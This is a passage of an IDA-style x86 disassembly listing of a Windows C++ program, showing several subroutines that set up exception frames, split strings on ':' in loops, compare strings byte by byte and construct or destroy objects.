		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C30	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D79
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D79
		push	esi
		push	edi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D53
		add	ebp, 54h


loc_413CB0:				; CODE XREF: sub_413C30+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CD0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CD2
; ---------------------------------------------------------------------------


loc_413CD0:				; CODE XREF: sub_413C30+95j
		xor	eax, eax


loc_413CD2:				; CODE XREF: sub_413C30+9Ej
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CB0


loc_413D53:				; CODE XREF: sub_413C30+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D79:				; CODE XREF: sub_413C30+26j
					; sub_413C30+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C30	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E00	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E20:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E60	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41404E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41404E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41404E
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F47
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F16:				; CODE XREF: sub_413E60+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F3A
		cmp	cl, bl
		jz	short loc_413F36
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F3A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F16


loc_413F36:				; CODE XREF: sub_413E60+C0j
		xor	eax, eax
		jmp	short loc_413F3F
; ---------------------------------------------------------------------------


loc_413F3A:				; CODE XREF: sub_413E60+BCj
					; sub_413E60+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F3F:				; CODE XREF: sub_413E60+D8j
		cmp	eax, ebx
		jnz	loc_41404E


loc_413F47:				; CODE XREF: sub_413E60+A1j
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FA3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F72:				; CODE XREF: sub_413E60+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F96
		cmp	cl, bl
		jz	short loc_413F92
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F96
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F72


loc_413F92:				; CODE XREF: sub_413E60+11Cj
		xor	eax, eax
		jmp	short loc_413F9B
; ---------------------------------------------------------------------------


loc_413F96:				; CODE XREF: sub_413E60+118j
					; sub_413E60+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F9B:				; CODE XREF: sub_413E60+134j
		cmp	eax, ebx
		jnz	loc_41404E


loc_413FA3:				; CODE XREF: sub_413E60+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FC3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FC5
; ---------------------------------------------------------------------------


loc_413FC3:				; CODE XREF: sub_413E60+158j
		xor	eax, eax


loc_413FC5:				; CODE XREF: sub_413E60+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41409B
; ---------------------------------------------------------------------------


loc_41404E:				; CODE XREF: sub_413E60+44j
					; sub_413E60+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41409B:				; CODE XREF: sub_413E60+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414150	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414150
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414150	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141E0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142D0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4142F0	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4142F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_4142F0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414333
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414335
; ---------------------------------------------------------------------------


loc_414333:				; CODE XREF: ___:00414328j
		xor	eax, eax


loc_414335:				; CODE XREF: ___:00414331j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414420	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414420
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414420	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144C0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414590	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_414590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414640


loc_4145F5:				; CODE XREF: sub_414590+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41461D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41461D:				; CODE XREF: sub_414590+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4145F5


loc_414640:				; CODE XREF: sub_414590+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414688
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414663
		push	1
		call	sub_4019EC


loc_414663:				; CODE XREF: sub_414590+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414688:				; CODE XREF: sub_414590+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_414590	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414700	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414718
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414718:				; CODE XREF: sub_414700+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414730	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414730	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414750:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414819


loc_4147B3:				; CODE XREF: ___:00414817j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C64 ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147E0
		mov	[esp+13h], bl


loc_4147E0:				; CODE XREF: ___:004147DAj
		inc	esi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147B3


loc_414819:				; CODE XREF: ___:004147B1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414890	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_414890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149C4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41496E


loc_414904:				; CODE XREF: sub_414890+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41493C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41494B


loc_41493C:				; CODE XREF: sub_414890+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41494B:				; CODE XREF: sub_414890+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414904


loc_41496E:				; CODE XREF: sub_414890+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149C4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_414991
		push	1
		call	sub_401708


loc_414991:				; CODE XREF: sub_414890+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149C4:				; CODE XREF: sub_414890+2Ej
					; sub_414890+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_414890	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A60	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A78
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A78:				; CODE XREF: sub_414A60+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A60	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A90	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414A90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414A90	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B20:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BB0:				; CODE XREF: ___:00401B45j
		push	0FFFFFFFFh
		push	offset loc_43B0B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_414CB7
		lea	ecx, [esp+4]
